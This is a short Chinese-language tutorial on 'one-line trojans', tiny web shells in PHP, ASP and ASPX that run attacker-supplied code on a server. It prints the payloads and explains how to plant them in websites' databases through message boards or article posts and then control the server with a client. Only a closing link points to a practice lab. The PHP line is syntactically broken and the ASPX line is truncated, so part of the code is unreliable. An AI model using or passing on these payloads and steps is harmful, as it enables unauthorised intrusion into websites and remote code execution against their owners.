一句话木马

什么叫一句话木马

    就是一句简单的脚本语言，一句话木马分为php,asp，aspx等，

      常见的有php的一句话木马 <?php@eval($_POST[value]));?>

      常见asp的一句话木马 <%execute(request("value"))%>

      常见的aspx一句话木马  <%@ Page Language="Jscript"%

使用方法

    

首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库，或者加进asp网页.

（记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!）

然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器。

实践

实验吧有个关于一句话木马的实例可以作为一个练习，增强自己的理解（http://www.shiyanbar.com/experiment-course/experiment-course/vid/1812）